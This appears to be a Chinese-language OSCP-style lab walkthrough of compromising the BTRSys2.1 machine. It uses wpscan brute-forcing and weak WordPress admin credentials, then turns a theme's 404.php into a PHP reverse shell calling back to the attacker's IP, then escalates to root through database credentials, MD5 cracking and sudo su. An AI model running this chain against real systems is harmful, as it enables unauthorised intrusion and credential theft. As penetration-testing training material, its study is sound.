OSCP系列靶场-Intermediate-BTRSys2.1
总结
getwebshell
: 目录扫描 → 发现cms
-wordpress
→ wpscan
专用扫描 → 扫描出账号 → 用字典爆破密码 → 登录wp
后台 → 模板处修改 → 反弹shell
提 权 思 路
: history
发现可疑操作 → wp
配置文件发现mysql
密码 → mysql
发现用户md5
密码 → 解密登录用户 → sudo su
提权
准备工作
启动VPN
获取攻击机IP →192.168.45.233
启动靶机
获取目标机器IP →192.168.234.50
信息收集-端口扫描
目标开放端口收集
Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.234.50
PORT STATE SERVICE CAST> mtu 1500
21/tcp open ftp
22/tcp open ssh
80/tcp open http
开放的端口->21,22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.234.50
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
信息收集-端口测试
21-FTP端口的信息收集
21-FTP版本版本信息与MSF利用
通过nmap
探测获得FTP
的版本信息,可以大致推测FTP的配置文件位置namp
探测版本为vsftpd 3.0.3
# vsftpd 3.0.3配置文件一般在如下位置
/etc/vsftpd.conf
尝试利用msf
搜索是否存在可利用漏洞
# 搜索对应脚本
msf6 > searchsploit vsftpd 3.0.3
远程拒绝服务 hhh 算了吧
21-FTP端口匿名登录测试(成功)
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.234.50
Name: anonymous
21-FTP端口-文件GET收集(无文件)
登录FTP
之后利用ls
查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET
下载文件
# binary 以二进制模式传输文件,保证文件完整
ftp > binary
# 查看目录结构
ftp > ls -al
21-FTP端口-PT上传测试(无法上传)
测试是否可以利用PUT
上传文件
# 建立一个text.txt的文件测试是否能上传
touch text.txt
# put 上传文件
ftp > put text.txt
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu
# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.2p2
发现搜索到可利用的和用户枚举有关(待定)
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root<span class="label label-primary">@192.168.234.50</span> -v
显示publickey
、password
就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root<span class="label label-primary">@192.168.234.50</span> -p 22
# 密码尝试
password > root
弱密码尝试失败
22-SSH弱口令爆破(待定)
因为支持密码登录,后期没有思路的话尝试root
账户的密码爆破,利用工具hydra
80-HTTP端口的信息收集
访问 http://192.168.234.50:80
不是CMS
我们直接从HTML
隐藏信息收集开始
主页就看到了一张图片
信息收集-HTML隐藏信息查看
# 利用html2text转换纯文本方便查看
curl http://192.168.234.50:80 | html2text
信息收集-目录扫描
信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.234.50:80 -x 302,403,404
gobuster dir -u http://192.168.234.50:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000 > gobuster.txt
静待结果
漏洞探测-nikto扫描
静待结果的同时尝试漏洞扫描
nikto -h http://192.168.234.50:80
提示差不多,也是wordpress
信息收集-目录访问
正常来说,我们不能放弃每个端点的访问
但是我们也要挑选优先级,发现了wordpress
的CMS
首先查看robots.txt
也是提示wordpress
信息收集-漏洞扫描wpscan
针对wordpress
最好的方法是用扫描器先
# 针对wordpress的专用扫描器
# -e枚举 ap枚举插件 u枚举用户名 t枚举主题
wpscan --url http://192.168.234.50:80/wordpress/ --enumerate ap,u,t
经过扫描发现了两个用户btrisk
与admin
发现用户就要尝试暴力破解啦
暴力破解的时候使用字典最好用cewl
生成(主页只有图片)
# 账号做成字典
echo 'btrisk
admin' > user.txt
# 暴力破解
wpscan --url http://192.168.234.50:80/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt
爆破了半天爆破出来了admin
的密码admin
另一个难搞
漏洞利用-getwebshell
弱口令进入wp后台
扫描的同时戳到了wp
的登录界面,尝试一下弱口令
http://192.168.234.50/wordpress/wp-login.php
好家伙,直接进来了(不然就尝试爆破密码进来咯)
主题插件修改
wordpress
大部分的漏洞其实与插件有关,先找找插件
现在有的插件Edit Plugins
好像也没什么
不敢直接编辑现有插件,怕会把wp
弄崩
尝试上传一个php反弹shell
发现不太行
换了一个地方
通过搜索决定编辑一个不太重要的php
主题,改为php反弹shell
/wordpress/wp-content/themes/twentyfourteen/[内容]
尝试修改404.php
修改成功
修改插件getwebshell
# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lvnp 6666
反弹shell配置
# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php
> 49:$ip = '127.0.0.1'; // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234; // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.233/' shell.php
sed -i '50s/1234/6666/' shell.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.php
复制shell.php
的内容到模板中
访问成功获取进入内网的凭证
内网遨游-getshell
交互shell
由于获取的shell交互不友好,利用python获得新的交互shell
# 利用python获取交互shell
python -c "import pty;pty.spawn('/bin/bash')";
# python失败使用python3
python3 -c "import pty;pty.spawn('/bin/bash')";
FLAG1获取
www-data<span class="label label-primary">@ubuntu</span>:/$ find / -name local.txt 2>/dev/null
/home/btrisk/local.txt
www-data<span class="label label-primary">@ubuntu</span>:/$ cat /home/btrisk/local.txt
4b8be4c2f5286b2476df38d4e6467c8c
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
www-data<span class="label label-primary">@ubuntu</span>:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.2 LTS
Release: 16.04
Codename: xenial
发行版本为Ubuntu 16.04.2
,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
www-data<span class="label label-primary">@ubuntu</span>:/$ uname -a
Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
内核版本为4.4.0-62
检测当前用户的权限
www-data<span class="label label-primary">@ubuntu</span>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
www-data<span class="label label-primary">@ubuntu</span>:/$ sudo -l
[sudo] password for www-data: admin
Sorry, try again.
[sudo] password for www-data: root
Sorry, user www-data may not run sudo on ubuntu.
发现需要密码
列举出所有suid文件
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
www-data<span class="label label-primary">@ubuntu</span>:/$ find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/ntfs-3g
/bin/ping6
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/gpasswd
/etc/passwd权限收集
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
# 要注意是否是属主情况
www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1573 Mar 21 2017 /etc/passwd
/etc/shadow权限收集
如果
/etc/shadow
具有写入权限可以尝试覆盖密码提权如果
/etc/shadow
具有可读权限可以爆破密码
www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1136 Mar 6 2020 /etc/shadow
getcap标志进程收集
高版本下suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2>/dev/null
列举定时任务
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat /etc/crontab
寻找root权限进程
# 调整行列,方便查询进程
stty rows 50 cols 250
# 查找进程,是否存在root权限进程
ps aux | grep root
查看历史信息
可能用户留下的历史信息具有有用的信息
history
权限提升
根据history
发现了一些有趣的信息
数据库配置信息发现
www-data<span class="label label-primary">@ubuntu</span>:/var/www$ cd /var/www/html/wordpress
www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ cat wp-config.php
存在数据库的账号以及密码
数据库敏感信息发现
利用这些登录数据库
mysql -u root -p
rootpassword!
登录之后查看一些重要的信息
show databases;
use wordpress;
show tables;
重点查找用户信息
select * from wp_users;
发现了btrisk
的密码a318e4507e5a74604aafb45e4741edd3
像md5
加密
解密md5密码
尝试解密
echo 'a318e4507e5a74604aafb45e4741edd3' > pass.hash
john pass.hash
大概率是md5
同时打开在线网站进行解密尝试https://www.somd5.com/
发现密码为roottoor
登录btrisk用户
www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ su btrisk
Password: roottoor
btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$
sudo-su提权
测试发现可以用任意sudo
btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo -l
[sudo] password for btrisk: roottoor
Matching Defaults entries for btrisk on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User btrisk may run the following commands on ubuntu:
(ALL : ALL) ALL
(ALL : ALL) ALL
利用su
提权
btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo su
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# id
uid=0(root) gid=0(root) groups=0(root)
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress#
提权成功
FLAG2获取
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# cat /root/proof.txt
cat /root/proof.txt
f994ec8ac722337b7c3b7d873013917a
后记
看到登录界面要养成随手一输弱口令的习惯
解密速度感人,kali
的cpu
干满了,以后应该用hashcat
解密